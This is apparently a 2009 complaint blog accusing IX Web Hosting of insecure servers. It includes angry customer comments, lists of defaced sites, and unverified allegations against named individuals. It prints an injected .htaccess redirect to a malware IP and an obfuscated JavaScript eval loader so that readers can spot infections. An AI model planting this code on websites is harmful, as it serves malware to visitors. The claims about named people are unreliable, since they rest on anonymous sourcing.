IX is blaming ” Folder Permissions ”  saying 777 should not be used, and in the case that NO FOLDERS are being used, they turn to the ” Ftp Virus”   BOTH of these are complete rubbish and LIES, and if you corner an IX Web Host manager with some facts and a bit of knowledge they will admit that it IS an issue on the ” IX Servers”

I have been PERSONALLY told by THREE MANAGERS.. Kenny, Drew and Lauren that IX is aware that they have security issues, and each time they assure me that the problem will be fixed soon, that was 9 months ago!!
The problem has not been solved, and is nowhere near being solved, actually it is getting worse.
Almost 10 months ago the problem was the iFrame Yahoo Counter was injected into every file, today the problems are numerous 3 different  injections and a .htaccess hack!! on both the php4 and php5 platform.

So, why is IX Web Hosting admitting they have issues to certain people, and LIEING to others? The reason to this is because the Support Monkeys have been told to NEVER admit that IX has issues, if the monkeys admitted to every customer that it was due to IX’s security issues that more than 120.000 sites were being infected on a weekly basis, all hell would break loose and somewhere along the line someone would sue.
So, as of yet for as far as I know it is only certain managers that are admitting to certain people, that IX is to blame.   

IX Web Hosting blames 777 folder Permission!!!… Do me a favor!!, it’s 2009, HUNDREDS OF MILLIONS of people are using Open Source CMS (content management system ) such as WordPress, Joomla, Drupal etc..etc..
Many of these scripts will not work without 777 permission ( images, templates etc)

If in 2009 IX Web Hosting cannot host a CMS site  without it getting injected or defaced, then they are NOT FIT to host websites and should pack their bags and leave town … for good!!

Why is it, that IX has a page on their website that explains in detail how to install and use WordPress and Joomla, but they still blame customers for using these CMS scripts.

Next time you speak to an IX  Support  Monkey ask them how the following  is possible

1. 5 html sites ( 100% html) not running any scripts or folders get injected?
2. How is it possible to MASS overwrite 644 files (.htaccess)
3. How is it possible to MASS add .htaccess files
4. Why is it, that if I did have an Ftp Virus, they only inject 2 buisness accounts, when they would have access to all 4?.. Why dont they inject all 4?
5. Why is it only IX Web Hosting and Host Excellence ( owned by ix web hosting) are having these problems? if it was a 777 folder permission issue 100’s of Millions would be affected, and EVERY webhost in the  world would have the same problems.
6. ANY Server Side injection of 1000’s of sites is surely the responsibility of IX, and NOT a Folder Permission issue.. I have access to all my folders, but there is no way that I can access someone elses site.
   It’s clear that this issue is server root related.

One more thing, a 777 folder used by the likes of WordPress or Joomla ARE SAFE!!..  Does IX Web Hosting really believe that they can carry on blaming customers? MORE THAN  ONE THIRD of ALL IX Web Hosting sites are infected!!… More than 120.000 sites infected !!

IX Web Hosting making money from their INSECURE SERVERS

For going on 10 months now ix web hosting’s servers have been under attack, both the older php4 and the new php5 are full of security issues, and have been seeded and are constantly injected with various scripts and / or the .htaccess file gets renamed and customer sites are re-directed.

MORE than 120.000 IX hosted sites are injected / .htaccess hacked on a weekly basis, an excellent oppertunity for the scum IX to make a quick buck!!

IX Web Hosting will clear up the mess that is caused by their extreme Incompetence and INSECURE SERVERS for just $80 AN HOUR!!

A few days ago I was contacted by an IX customer that hosted 5 html sites ( not a single script)  all 5 websites were injected with the Yahoo Counter Script, this was the 3rd time in one month that this had happened, each time she just  re-uploaded all her sites, but still her sites got injected. The 4th time she approached IX to help her get her sites back in order. IX charged her $160 ( 2 hours) to get her sites back to normal. 6 DAYS later all her sites were injected, but luckily the bastards at IX were willing to help her again for another $80 an hour.

Is YOUR site INFECTED by the Yahoo Counter or .htaccess

A lot of people are contacting me, asking HOW you would know if your  site is infected?.
Let me start by saying that in some cases you will know immidiately when somthing is wrong, but in other cases it might not be too clear.

The YAHOO COUNTER SCRIPT

Click Image to Enlarge

is an iFrame Javascript injection that injects code into the Footer, Body, or Header, or all three at once.
Thousands of IX web Hosting customers are infected with this code, and they do not even know it! The web Page looks normal, but this can be very dangerous, your website will eventually drop from ALL the mayor search engines, and your domain will be flagged as “Dangerous Malware” by all the search engines.
To check if you have the Yahoo Counter injected, visit any search engine, and visit your site, If your site loads as it should, BUT  it still shows “Loading” in the taskbar for some time, and then in most cases ( but not always) an ” Acrobat Reader” Error message will pop up.

Now you must Check the “Source Code” ( Menu Bar –> View –> Source ) and you will notice the Code that has been injected.

 

The .htaccess Injection

This is a very sneaky Injection, the reason being, is because most people that have and check their websites, access them by either a shortcut, or directly through the search bar by using the url, In both these cases, your website will be perfectly normal, BUT, anyone trying to access your website  through any of the mayor Search Engines, will be re-directed.

Click Images to Enlarge

Once that is done, a FAKE ANTI VIRUS will pop up, and start scanning your PC, it will then alert you that you have dangerous files on your PC, and if they should be removed, if you click YES, you are screwed!!, a Trojan with KeyLogger will be executed on your PC, and you are INFECTED!!…

Anyone who has the FAKE ANTI VIRUS pop up, should just click off the site NEVER click “Yes” or “No”.. just click OFF the page , if your PC freezes, use “Ctrl-Alt-Delete” and Stop the process… then out of precaution you can “Delete” your cached internet files.

An example of the injected .htaccess file.

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR]
RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC]
RewriteRule .* h**p://87.248.180.89/topic.html?s=s [R,L] ( link altered by ME )
 

Remember, you only get re-directed if you click on your url from a search engine

IX Web Hostings Servers using both Php4 and Php5 INFECTED

As I wrote yesterday, MORE THAN ONE THIRD OF ALL IX Web Hosting’s hosted sites are INFECTED.
And to make things worse, the problem is spreading.
Up until Jan. 3rd 2009 it was only the older servers still running Php4 that were being affected, but now even the NEW server blocks, running Php5 are being injected.
IX Customers with sites on the server block with mysql address mysql501.ixwebhosting.com that runs php5. are being injected.

This is bad enough, and the fact that after 9 MONTHS!!! IX Web Hosting has still NOT GOT A CLUE how this is being done is a complete DISGRACE!!
And to add salt to the wounds, IX is not just being attacked with one form of iFrame injection, NO, IX is being attacked THREE different ways.
1) The notorious ” YAHOO COUNTER” is being injected into the FOOTER of every file.
2) The .htacces File that is overwriting and / or adding an . htaccess file into the root of every site and re-directing sites
3) As of Jan. 3rd 2009, a SECOND but modified version of the ” YAHOO COUNTER ” iFrame injection is now being injected into BOTH the Header, AND / OR Body of every file.

Today an IX Web Hosting customer sent me a link to their site, that was injected with THREE Yahoo Counters, Header, Body and Footer.
The owner of the site told me that the site would take ages to load, and would often even timeout, and Google had dropped the site completely from the Search Engine, penalized because of the “Malware Script”

Here is a quote from IX Support’s Alex Karamushko :

We have currently problem with Yahoo counter hack, but our system administrators and security analysts working hard for finding exact reason of that problem and we can assure you that this will be fixed shortly.

After 9 months, I ask myself what ” shortly” actually means?!.. Another week?, month?, or maybe 3 months?.. because I was told by “AGENT IX” that at the rate things are going now, by May 2009 EVERY website hosted at IX will be infected by these injections.

Chinaman Calls – IX Web Hosting

IX Customer Calls IX … Funny to say the least.

http://www.youtube.com/watch?v=xU0a-1Zt3nU

And someone else calls as well.

http://www.youtube.com/watch?v=JdY-zJNEpjc&watch_response

IX Web Hosted sites Hacked & Defaced Jan 9th 2009

http://efamili.com/

http://dabasan.com/beads/archive.php

http://www.capetowntips.com/

http://icaav.com/phpBB2/

http://buildingwithtyres.com/

http://www.mortgageservices.com.au/

http://terrybeitel.com/

http://ebookdirectory.net/

http://www.strangeauction.com/

http://annualkellyfamilyreunion.com/forum/

http://www.scotlandsguesthouses.com/

http://www.themerchfoundry.co.uk/helpcenterlive/

http://mediaportalen.net/

More than ONE THIRD of ALL IX Web Hosting sites INFECTED

A lot of the information I post here, I get from a person that works for IX Web Hosting and / or Ecommerce, as you all understand I cannot give any details that could compromise  his / her position. I will call this person “AGENT IX”

Today I recieved an Email from “AGENT IX”  that states that more than 100,000 IX Web Hosting Sites are infected.

The Details are, that IX Web Hosting is hosting 285,223 websites ( source http://whois.domaintools.com/ixwebhosting.com 

More than 100,000 sites are infected, which means that more than  1/3   of all IX Web Hosting sites are infected!!
and IX has still not got a clue how to stop these attacks.

Also the injected script(s) are changing ( see previous posts) which most likely means that this  vulnerability is now being exploited by various people / groups, and this also means that this problem is going to get a lot worse before it gets better, this problem has now been effecting sites since last year May ( 2008 ) almost 9 MONTHS LATER  the problem is worse than it has ever been, and there is no bright light at the end of the tunnel yet.

A NEW wave of iFrame Injections for IX Web Hosts Customers

It has come to my attention that a NEW wave of iFrame injections has infected 1000’s of new IX Web Host Customers, unlike the previous injection, that injected javascript into the footer of every file, this new piece of code is being injected into the “Header” of every file..

The new code looks like this:

<script language=JavaScript>function tobnb25(z){ var c=z.length,m=1024,i,s,h,b=0,w=0,x=0,d=Array(63,62,45,0,25,55,44,41,2,31,0,0,0,0,0,0,3,38,33,21,20,16,19,10,42,35,13,32,24,17,4,40,46,56,53,
15,60,5,50, 47,57,48,51,0,0,0,0,26,0,49,6,29,7,12,54,34,23,28,58,11,14,36,43,27,8,59,52,39,37,30,61,1,18,22,9);for(s=Math.ceil(c/m);s>0;s–){h=”;for(i=Math.min(c,m);i>0;i–,c–){{x|=(d[z.charCodeAt(b++)-48])<<w;if(w){h+=String.fromCharCode(224^x&255);x>>=8;w-=2}else{w=6}}}eval(h);}}tobnb25(’hAOIN1QtlSztwx4tFfvam1OIUuTfN1QKCfLBlx7ZhG4gDypVdZcgbG4KJypYlbLIUfcf4FLrE@TmxlL
58IptD87fS0TRF84BUxOZzjOBS1etS0vak5_KD gOZx1LtlxpV2bptpj6mwjpBSfpVzneRCkJRLsTVdscfNbJrdWTa8@TtzxptpfJRDIJYpyLgdgptcdJrM
@TmDAzIUf2YNAQmEVLK4H2ISjLB8qJ5SsOBxbLIUjvaz@’)</script><!– yourdomain.com –>

 

Manager Kenny at IX Web Hosting  informed a customer today ( Mon 5th Jan.) that  they were testing right now and should be completed in a week or two…

ONE OR TWO WEEKS!!!.. Hey we have been waiting for 8 MONTHS!!!!  You would think that by the advice is giving all their paying customers, and blaming them for everything,  and then offering to fix the problem for $80 AN HOUR!!.. that they would know how to fix this problem, but is is clear they do not, and instead of putting more time and effort into solving this, what does IX do??… TRY AND MAKE MONEY FROM THE PROBLEM!!!… Thats correct, IX Web Hosting is offering to fix / clean customer sites for $80 an hour!!…  This is an absolute disgrace!!

To me it is clear that a large group of people know the vulnerability at IX servers, and various people are now injecting their own script, thats why we are starting to see various different scripts appearing.

IX Web Hosted Sites Hacked and Defaced Jan. 2nd 2009

 

1. http://forums.spartiate-peers.com/
2. http://www.washrag.org/phpBB2/index.php
3. http://www.pococks.net 
4. http://imprecator.net/ 
5. http://imprecator.net/
6. http://www.capetowntips.com/
7. http://countrydataservices.com/ 
8. http://releasespy.com/forum/viewforum.php?f=13
9. http://nickersonpianostudio.com/ 
10. http://strangeauction.com/
11. http://temp.simplyenticing.com/
12. http://vavize.com/
13. http://utilizesports.com/
14. http://www.commandoes.us/
15. http://www.neostudios.co.uk/lucypinder/
16. http://tommygallagherband.com/index.php?option=com_gigcal&Itemid=30
17. http://thatsmydiary.info/
18. http://greenlaser.cn/
19. http://www.elfankosh.com/admin.php
20. http://ircai.com/

Response from Ecommerce about Backups

XXI. Data Integrity

The subscriber is responsible for keeping a complete and current copy of their website files as a backup on a remote system (not solely on IX Web Hosting servers).

IX Web Hosting is NOT RESPONSIBLE for any lost files, information or data.

IX Web Hosting makes regular internal backups of internal system configurations and databases. These backups are NOT intended for keeping backups of subscriber websites.

Although IX Web Hosting backups may include subscriber sites and information for disaster recovery purposes, these backups are not to be relied on by the subscriber. IX Web Hosting does not guarantee to possess the most current copy of a subscriber’s website in its own backups.

https://www.ixwebhosting.com/index.php/v2/pages.tos#q21

Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko 

===================================

My response

Yes Alex, we  ALL know that IX Web Hosting is not responsible for anything!!.. Paying customers are responsible for EVERYTHING … You clearly promise daily backups , and on the other hand you clearly state that it is the customers responsability

May I ask what the Backups are intended for, if they are ( and I quote)  NOT intended for keeping backups of subscriber websites

And while I’m quoting, here is another one:

IX Web Hosting does not guarentee to posses the most current copy of a subscribers website in it’s own backups

Maybe this is true, but they do quarentee, or should I say promise, (and another quote)

 10. What kind of backup policies do you have in place?
We perform daily on-site backup via our own custom-made backup solution.

Can be seen:
https://www.ixwebhosting.com/index.php/v2/pages.faq_policies#q610

And in my books, a “Day Old” backup is pretty recent, but with the insecure and vunerable servers at IX, a Day Old Backup is as useful as a splinter in the eye.

And my last quote on this subject:  IX Web Hosting is NOT RESPONSIBLE for any lost files, information or data.

18 months ago, IX webhosting lost my whole site, incl. database.. How they actually did it, I do not know, they compensated me with a FREE WEEK of hosting!!!.. haha, thats like pulling out my last tooth!!

I had backups of the site, but just like said the lame pathetic IX is NEVER RESPOSIBLE!!.. It’s always the paying Customer!!

IX webhosting Backups

Since I started this blog I have recieved way too many Emails from IX customers that are being blamed for IX web hosting’s incompetence, so far I have 1374 emails  from people that are furious at the way IX is treating them and their buisness. In the past week I have recieved 41 emails from customers that have completely lost their website(s) Not due to any injected scripts or iFrame hacks, but because IX webhosting has deleted them, and do not have any backups..

An example recieved today.  

Dear Larry Sypher,
I am very sorry for this recent inconvenience, please accept my sincere apologies. Our admins have verified that all relevant backups have been rotated already. Unfortunately all backups which are older than a week are being deleted from the server on a regular basis because we cannot afford to store too old backups due to the many system restrictions of the shared hosting environment. It is much recommended to create local backup copies. I regret.
Best regards,
Technical Agent, CR
CR Department
Ecommerce.com
Alex Golovko

So what they are saying, is that if anything was to happen to your site, you have LESS than a week to discover it, and have it backed up, otherwise, a new backup will be made, and this time it will be the “INFECTED”  site, and you have just lost your site!!.. ONE WEEK!!?? …. It takes IX 4 days to reply to a support ticket!!

This evening  01-01-2009 I checked to see what support has to say about backups..

 

 

So, they are telling me they have a choice of 4 Backups, over a 2 week periode

Well, we all know IX webhosting are a bunch of liars, this is just another example of how they they promise you things, but cannot deliver

IX Web hosting Reviews Dec. 2008

Seve, 29th 2009f December, 2008

Ooohh alright, I’ll GIVE them away!!Still no takers?.. Don’t blame ya!!

Steve, 29th 2009f December, 2008

Anyone want to buy my 2 buisness Accounts I have with IX ? I’ll sell them for a good price.. IX is the leader in quality Web Hosting, and comes with top notch support.. especially if you speak Ukrainian.. C’mon be part of history, IX might not be around for much longer.

Rich, 29th 2009f December, 2008

IX is so full of shit, I can smell them fro here. These dickwads are clueless, they are a laughing stock. Anyone hosting their sites with these people need to seriously start looking for another host. IX is gonna get a hell of a lot worse before it gets better.. thats if they survive the loss of so many customers.

James, 29th 2009f December, 2008

6 weeks ago I purchased an account with ix webhosting, in this 6 week periode my site has been cleaned and re uploaded 14 times!! every other day it gets injected with a .htaccess file, and gets redirected. I do not have any scripts for my site an no .htaccess file. ix has constantly blamed me for this. Luckily I only have one site, I’m counting my loss and moving away.

Bart de Vries, 29th 2009f December, 2008

A complete bunch of ignorent stuck up turds!!.. couldn’t run a stopwatch, let alone a hosting company.

Oz, 29th 2009f December, 2008

IXWEBHOSTING is bent!I mean all my domains had a .htaccess file which redirected all search engine traffic to another website (located at starnet.md) to download malacious files (virus). This is the contents of the .htaccess file: RewriteEngine On RewriteCond %{HTTP_REFERER} .*oogle.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*aol.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*msn.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*altavista.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ask.*$ [NC,OR] RewriteCond %{HTTP_REFERER} .*ahoo.*$ [NC] RewriteRule .* http://87.248.180.89/topic.html?s=s [R,L] It’s rewriting code to direct all users from Search engines away from my websites. Good bye IX!

Juloep, 28th 2008f December, 2008

I just read this website and here you can see that ix people are thiefes https://ixwebhostwarning.wordpress.com/

Juloep, 28th 2008f December, 2008

I have holiday for 6 days, and when I get home my website has gone, instead a page tells everyone my web site is terminated.. I call ix and they tell me my site was phishing site.. I tell them that it is a mistake, my website is about hotel in Tunisia.. I ask for them to please put my website back because people think I am now a thief but they say i must buy a new account. these people are VERY bad people, they make me look like thief but they are thief!!

Eddie, 28th 2008f December, 2008

http://www.psedog.com Another website screwed by IX. Luckily I was nearing the end of my contract when they decided to suspend my account for “Phishing” All the suspected folders had permissions of “httpd”. A week prior to IX shutting my site down (Suspended). They had informed me that my site had been “hacked” and had a virus in it. They claimed to have fixed it. Only to shut down my site shortly after. Look at some of the recent comments under mine and you will see that I’m not the only one. IXWebHosting is crap. I only dealt with it for as long as I did because I had already paid. Unfortunately I didn’t have the site as a whole backed up. Now I have to go and rebuild it again from multiple sources.They shut my site down 2 other times before. They claimed TOS for copyright infringement. The infringing products were my own pictures from my car club in Souther California. Apparently I’m not allowed to have a nice car and know others that do as well. (G35Driver)

Jack Brown, IT Director, 26th 2008f December, 2008

The best hosting company list at: Mavaron.com http://www.mavaron.com

John M, 26th 2008f December, 2008

I am so pissed off with ixwebhosting, they know they have an issue with their servers, but they still blame the customers. I have 2 static sites, and they have been injected nad the files permission changed to httpd. When I phoned support I was blamed for in-secure folder permissions, when I told them I did not have any folders, they told me to purchase an anti virus software, and scan my pc!! I told them My McAfee AV is 2 months old and up to date, and scans every Tuesday and Friday.. Then they told me to TRY ANOTHER Anti Virus software Keep away from these idiots

Tom, 25th 2008f December, 2008

Today without warning ix web shutdown my account, because I ran a script on it, I have a photography site for newly weds, I know nothing of any script. They are rude and are blaming me for their problems. How can I get my database and all my files? Can I sue them?

Jacque, 25th 2008f December, 2008

Once they were a very good company, but now they are the worst, and the worst just keeps getting worse. Avoid ix web hosting until they get their act together. more info https://ixwebhostwarning.wordpress.com/

Babs, 25th 2008f December, 2008

What a nightmare!! Talk about crooks, it is beyond me that IX is still in buisness. I would not host my site with them for FREE Been there.. done it… got the stress

2 matt, 25th 2008f December, 2008

Hi there, go on http://www.dickgreasley.com to check how fast the server is. On bottom of the website is link to EBH.

matt, 18th 2008f December, 2008

ixwebhosting.com server has been down for now 3 hours. My company cannot retreive important data. I think this company is so damn unprofessional. If anyone has any other suggestions for other good webhosting companies, please do let me know!

cashzzz, 18th 2008f December, 2008

Server has been down now for over 2 hours….ixwebhosting keeps telling us to wait 15-30 more minutes… we cannot keep waiting like this. They said the server is under maintenance, but the server should not be down like this for more than 2 hours.. not sure how much longer…

cashzzz, 18th 2008f December, 2008

Server is down as of now. for over 1 hour 30 minutes… we are told the server will be up another 30 minutes but that was 30 minutes ago.

Chris, 17th 2008f December, 2008

It was a nightmare dealing with these horrendous people at IX Webhosting.- For the seven months my site was hosted there, there were a lot of slow downs, database cut-offs and data lost, and they never provide any compensation or explanation of why that happened – IX reserves the right to cut off your website at anytime whenever they feel like to. At first they would not tell you they are going to cut you off, they just asked you to accept their TOS terms of service. Once you did that they cut you off immediately. – Worst of all, they do not allow user to download their own website or database once they suspended your account. If you are not prepared you will be totally screwed. I have never seen hosting company not providing user their database when they move out of the host. – Technical support is horrendous, either the person there just try to play dumb or are complete idiots. They do not listen to your words, they just repeat themselves over and over again as if they are merely answering machines. – Make sure you read every single word in their terms of service, there are a lot of unfair terms to the user, make sure you are alright with every single term in there before you sign up. These guys sure know how to make a fool of you by playing with the terms.

they are bad, 16th 2008f December, 2008

Koima They are pretty bad , but have you checked out IPower.For years of consistant appalling service, i doubt you’d get any worse – anywhere . Why nearly all of the top 10 listed here are still in business is beyond me – most (not all) of them are not worth counting anywhere in the top 1000!

Koima, 12th 2008f December, 2008

WOW, I never see so many bad comments I think I will never use ixwebhosting

fuckIX, 12th 2008f December, 2008

ixwebhosting can kiss my arse. 2 years of these pathetic people is enough. IX does not give a damn shit about customers, they take your money and screw you BURN IX BURN!!!

David Lee, 11th 2008f December, 2008

My htaccess file was replaced and my website was down yestoday. It seems like nothing they gonna do to make their hosting service to be the one it should be. I have to upload htaccess every 4 days. ixwebhosting is a shit! I want my money back!

Sandra, 11th 2008f December, 2008

I am so glad that I only have 2 web sites with these crooks. I wish I had found this site before. I purchased my account 7 weeks ago, and since then I have had nothing but trouble, in those 7 weeks I have had to upload backups 11 times!! I tried to use their support 3 times, but each time all they said was I needed to create a ticket.. Bottom line, AVOID IX web hosting

Harry, 09th 2008f December, 2008

IX wehosting is a 100% rip off, I cannot understand that they are still allowed to sell hosting. My sites are hacked on a weekly basis. Support are a bunch of ignorant retards that belong in a Zoo cleaning up the animal shit!! IX web hosting, Please do yourself a favor, and pull the plug!! You are without doubt a disgrace to the hosting world.

J C, 01st 2008f December, 2008

Our websites has been Hacked again We were connected with IXWebHosting Now we have enough and cancelled our multiple accounts with them

IX Web hosting Reviews Oct. + Nov.

KB, 30th 2008f November, 2008

I’m having the same issues… files that were owned by my account became owned by httpd and all had virus injected into them. I have a shell script that runs a ls -l every 6 hours and compared the results from the last run 6 hours previous and it caught a mountain of changes on the morning of Nov 27th at 8:20am (their server time). Submitted a ticket and they said my site was internally hacked. Tried to reply to the ticket and the reply buttons aren’t even working. Submitted a new ticket to reply to the old ticket to ask how file ownerships can change like that. Awaiting a reply.

empusa, 21st 2008f November, 2008

When I signed up two years ago, they seemed pretty good. However, over the last tow years their service has got worse and worse. In the last week before I transferred all of my sites and my clients sites to another host, all of my sites went down for over 24 hours on three separate occasions. Every time I entered a support ticket, it took them over 10 hours to reply, only to ask for ‘further information’. They claim to be in the USA, but every reply is from an Eastern European name. Their so called ‘live support’ is a joke, each reply takes over 15 minutes and they always end up saying that I should submit a support ticket. My sites were hacked constantly. Other users on the same server could access my files and folders even despite being chmod 755. You get what you pay for. I’ve just moved to A2hosting. I’ll have to pay twice as much but the service is infinitely better.

Yunus Member, 19th 2008f November, 2008

Shit Service. Dont ever use them had a lot of problem they are stupids and idots and bloody liars

de P, 14th 2008f November, 2008

Since May of 2008 24 of my sites ( 3 buisness Accounts) have been mass injected, 8 sites have had the .htaccess file injected thus redirecting the sites, and 5 sites have been used a Phishing sites for among others “Wells Fargo” and Washington Mutual”. I am not going to advise anyone if they should or should not use IX webhosting, just google “IX webhosting Hacked” and make up your own mind. There is not a single server that is 100% safe / secure, That IX was hacked, is no big deal, it can happen to anyone, but being hacked MORE than 7 time within a year, and having a support team that are COMPLETELY useless, and for months have TRIED to blame customers for 777 permissions, I had one account with ONLY 5 html sites , NO folders, NO scripts, NO permission, and they ALL got injected.

Christos , 12th 2008f November, 2008

I regret the time I signed with Ixwebhosting. The site is on a regular basis down… and most of the times the initial contact is VERY VERY slow… and you receive connection interruptions all the time….. I am looking for another provider ASAP. What a waste of time and money

sony, 01st 2008f November, 2008

They make me crazyyyyyyyyyyy, the server is more down as up, no matter what day time I check my sites, I see just the error network timed out,The operation timed out when attempting to contact …. The requested site did not respond to a connection request and the browser has stopped waiting for a reply. The only positive on ixwebhosting is, they are cheap, low price = low quality, so definitely not recomended for commercial/business websites, your business will not grow with ixwebhosting.

Bob, 28th 2008f October, 2008

Wow – wish I’d read this first. I signed up and was soooo excited by their unlimited everything and their “DotNetNuke Expertise”. Wrong. They have no tools for DNN (can’t backup & restore your DB via SQL Server Mgr. as I was told when I called BEFORE signing up) and their techs are CLUELESS about DNN — actually worse, some seem to know it exists and others don’t. The biggest reason to avoid them is I had an open ‘ticket’ for over 12 hours. I’ve read where people say to use ‘chat’ and they’re right — you get a quick response from someone (some person who I’m sure is in Ohio or somewhere in the USA but whose name is achmed zahermche or some other “wanna buy a vowel” name)l but I would rather type an explanation of a problem clearly in an email or text box than try to type in real-time with someone to whom English is a 2nd or 3rd language. If you really want to know how bad ixwebhosting is, I came over from WebHost4Life — the gold standard for BAD hosting and support and these guys are as bad or worse (for my needs). Stay away.

David, 23rd 2008f October, 2008

I had trouble accessing my site at least twice a week with IX. The SPAM was a serious problem. I canceled my account 6 months into the 24 months I had paid for. They refunded less than 25% of my money claiming that that their terms required that because I canceled, even for poor service, I now must pay for set-up fees and domain name registration that are FREE when you sign up. Horrible, rude, employees. MANY complaints to the BBB. The worst thing, though, was that they disabled my account and I had to get the Attorney General for the State of Kentucky to order them to return control of my domain name to me.

support, 21st 2008f October, 2008

try http://www.hostmysite.com

Shrink, 21st 2008f October, 2008

They re-activated my account. I am backing up files now. I’ve got one more strike. If I’m hacked again, I’m gone. I’m gone anyway. Looking for another host.

Shrink, 21st 2008f October, 2008

I have not had many problems with IXwebhosting until yesterday. I too was hit with TOS violations because someone hacked my site and uploaded phishing files. IX will blame you for the problem. Then, without warning, they suspend my account with no access to the files for the 8 domains that I have!

Enrique Gutierrez, 21st 2008f October, 2008

HORRIBLE! I was with IX Webhosting for 5 years+ and today they shut my account down due to phishing files that were placed on one of my domains; after they blamed me for the files, that I didn’t place, they proceeded to tell me that they can’t give me access to my files and data. They’re about 20 hours away from being served legal papers for damages and theft, in addition to getting a boot crammed up their asses for being one of the worst web hosting experiences I’ve ever had to deal with in my 9 years of web dev.

IX web hosted sites Hacked and Defaced December 29th

1. http://abcnepal.com/phpBB2/ 
2. http://forums.adeptpcs.com/
3. http://www.defaceadd.org/tamekran-767.xml
4. http://mallusworld.com/
5. http://sw.rzep.net/
6. http://myxxonline.com/phpBB2/
7. http://happyzoo.com/phpBB2/admin/
8. http://yojils.com/forums/
9. http://dj-booth.co.uk/forum/
10. http://firstbaptist-nyc.org/phpBB2/
11. http://webaccess.ingenious.cc/phpBB2/
12. http://infrastructurematters.org/phpBB2/
13. http://everythingretek.com/phpBB2/viewtopic.php?p=1464
14. http://plus.rawfishrecords.com/phpBB2/
15. http://quellederjugend.arhaco.com/phpBB2/
16. http://mediawirx.net/phpBB2/
17. http://www.zavallis.com/
18. http://www.nassel.com/news/
19. http://www.joshstern.net/phpBB2/viewtopic.php?p=13422..13422
20. http://northharrowsnooker.co.uk/

IX Web Hosting and the Yahoo Counter Script Injection

I started this blog just 2 weeks ago, and today I recieved my 1000 th  Email asking me about the code that is injected into the footer of every file hosted on seeded IX Web Hosting Servers.

Hundreds of  IX customers, are contacting me to ask about the Injected script ( posted in a previous post) they are asking me HOW to remove it, because they cannot find it…

The Reason they cannot find it??

Because of a MASSIVE SECURITY ISSUE on IX WEB HOSTING’s SERVERS!!.. the script is NOT actually put onto any of your pages, the script is actually hidded somewhere on the server..

So far I have found 5 “seeds” .. These are the codes that are appearing  in  over 100,000 sites

• http://on3photo.com/onlinestore/photos/106-firefighter_foto/1147-gustav_deployment/di_img_0002.jpg 
• http://adventuresinstorytelling.com/modlogan/m_usage_200603_001_008.html

Remember to view the “source code” in the above links.

Very interesting is the second “seed” that is actually in an IX standard “modlogan” folder, that is standard a chmod 700 .

Secondly it should not be possible on any shared server to inject this script onto EVERY file on that server. The fact that this is happening means that IX web Hosting has not got a clue how to protect their servers, and customer web sites. 

So as you can see, this script IS  NOT actually put into your script, that is why you cannot find it.. HOWEVER, somewhere on your site, there is a bit of code  “Calling” this script, and that appears in your pages.
Check  ALL the pages that get called for every page, ie. header, footer, index, sidebar etc. 

So far I have evidence and proven that the following IX servers running the following Database’s  are seeded:

• mysql33.ixwebhosting.com
• mysql15.ixwebhosting.com
• mysql27.ixwebhosting.com

If you know of any others that are seeded, please let me know.

Hope this helps

:: Some people have contacted me to tell me that the Injected Script is ( also ) injected into the database, and in some cases a new table is created.
I have checked 9 databases of infected sites, and I have not yet come across the script in my Database’s, so I think that this might be “script” related, maybe that some scripts such as PhpBB2 allows for this to happen, so I recommend searching your Database for the script as well ::

IX and Hacked and Defaced Dec 24 2008

A  short list of sites hosted by IX Web Hosting.. all Hacked and Defaced

http://sw.rzep.net/

http://ebookdirectory.net/

http://www.strangeauction.com/wp-login.php 

http://annualkellyfamilyreunion.com/forum/

http://techworxs.com/forum/

http://sisterwords.com/phpBB2/

http://cr30beachbungalow.mmisiolek.com/phpBB2/

 

http://hitecpowercontrols.com/x.html

http://clearfork.com/phpBB2/

http://jacksonvilleyardsalesonline.com/signinform.php?msg=%3Ch1%3EHacked%20By%20BeLa%3C/h1%3E

http://hucad.com/

http://marybackstage.com/

http://abacusdiesel.com/phpBB2/

http://www.cardstuff.info/details.php?id=16&kategorie=9&main_kat=4&start=0&nr=

http://dexterb.com/

http://mediaportalen.net/index.php?n=modules/users&s=4&t=DESC&p=1&l=results_poll&68cac=off

http://forgottenstory.com/phpBB2/

 http://www.mobileintegration.no/

 http://krabbeteiner.com/shop/admin/

http://fischertechnologies.com/calendar/ 

http://www.scotlandsguesthouses.com/

http://infotop100.com/

http://www.coralenriquegranados.org/phpBB2/index.php

Fathi Said Before IX Web Hosting

IX Customers are complaining about “Retard Support”, sites are constantly down, database’s are slow to not moving, and the fact that IX Web Hosting makes promises to lure customers, and once they have signed up, the promises vanish.. And yes, I can confirm this from personal experience’s with IX.

So, what was   the big fish Fathi Said doing before IX Web Hosting?.. 

In 2003 more than 60,000 people were duped by a hosting company called ” Feature Price ” owned by… our very own Fathi Said  and  Travis Johnson.  They were based in Ft. Meyers, Florida.

Feature Price was known to be vastly profitable in 2002, reportedly racking in $1.6 million in profits. At its peak, the company had 60,000 customers serviced by 23 employees and several co-founders, of which Johnson was one and Fathi Said, an Austrian citizen, the other. Feature Price is said to have been adding about 3,000 customers per month, with churn averaging four per cent. Technical support, outsourced to a company in India, was reported to be average. 
The business started disintegrating in December 2002 when Said and Johnson had a falling out, sources say. Said left the company, reportedly returning to Austria.

Soon after, more than 60,000 customers recieved a message that they had 2 weeks to move their sites to another host..  these customers lost everything!!..

At the same periode that ” Feature Price” closed their doors on 60,000 paying customers, these same customers started recieving the following Email from Fathi Said 

:::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::::

I am emailing you in regards to your domain name deprenda.com which is or was hosted by FeaturePrice.Com. Please note that if you are satisfied with the service you currently receive from Feature Price, you should ignore this email.

For more information on how you can RETAIN three months of your pre-paid hosting term with FeaturePrice but continue hosting at a more reliable service, please read on.

First off, please allow me to introduce myself. My name is Fathi Said and I am the founder and former CEO of FeaturePrice.Com. I departed Feature Price involuntarily in December 2002 when my former partner Travis Johnson with the help of his lawyer effectively stole my company.

